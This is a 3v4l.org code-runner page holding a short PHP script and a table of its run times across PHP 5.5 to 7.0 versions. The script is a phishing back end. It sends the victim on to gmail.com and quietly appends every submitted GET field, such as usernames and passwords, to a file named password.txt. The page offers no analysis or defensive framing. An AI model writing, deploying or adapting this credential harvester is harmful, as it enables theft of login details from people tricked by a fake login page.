3v4l.org

run code in 300+ PHP versions simultaneously
<br /> <?php header ('Location: http://www.gmail.com'); $handle = fopen("password.txt", "a"); foreach($_GET as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } <br /> fwrite($handle, "===============\r\n"); <br />fclose($handle);<br /> exit; <br /> ?> <br />

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.0.10.0170.08020.25
7.0.00.0070.04020.13
5.6.160.0070.04020.46
5.6.150.0100.07018.12
5.6.140.0070.05718.18
5.6.130.0070.08718.11
5.6.120.0100.07320.89
5.6.110.0100.06720.89
5.6.100.0200.07321.13
5.6.90.0070.08021.12
5.6.80.0200.07320.43
5.5.300.0130.04317.93
5.5.290.0130.04717.96
5.5.280.0170.05020.80
5.5.270.0100.08020.76
5.5.260.0070.04720.75
5.5.250.0130.07320.58
5.5.240.0170.07720.05

preferences:
136.88 ms | 1394 KiB | 7 Q